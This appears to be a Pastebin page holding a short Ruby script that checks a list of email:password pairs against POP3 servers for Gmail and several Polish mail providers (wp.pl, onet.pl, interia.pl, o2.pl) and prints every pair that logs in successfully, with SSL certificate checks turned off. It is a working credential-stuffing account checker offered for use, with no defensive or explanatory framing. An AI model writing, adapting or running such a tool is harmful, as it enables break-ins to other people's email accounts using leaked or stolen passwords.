Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # coding: utf-8
- require "rubygems"
- require "net/pop"
- require "openssl"
- list = File.readlines( ARGV.shift ).map{ |i| i.strip.split( ":" ) }
- list.each{ |data|
- user = data[0]
- pass = data[1]
- addr = user.split( '@', 2 )[1]
- address = addr
- case addr
- when "gmail.com"
- address = "pop.gmail.com"
- when "googlemail.com"
- address = "pop.gmail.com"
- when "nacjonalista.pl"
- address = "pop.gmail.com"
- when "interia.pl"
- address = "poczta.interia.pl"
- when /onet.pl/
- address = "pop3.poczta.onet.pl"
- when "vp.pl"
- address = "pop3.poczta.onet.pl"
- when "wp.pl"
- address = "pop3.wp.pl"
- when "o2.pl"
- address = "poczta.o2.pl"
- when "tlen.pl"
- address = "poczta.o2.pl"
- else
- next
- end
- port = 995
- pop3 = Net::POP3.new( address, port, false )
- pop3.enable_ssl( OpenSSL::SSL::VERIFY_NONE )
- begin
- pop3.start( user, pass )
- puts "#{user}:#{pass}"
- rescue
- end
- }
Add Comment
Please, Sign In to add comment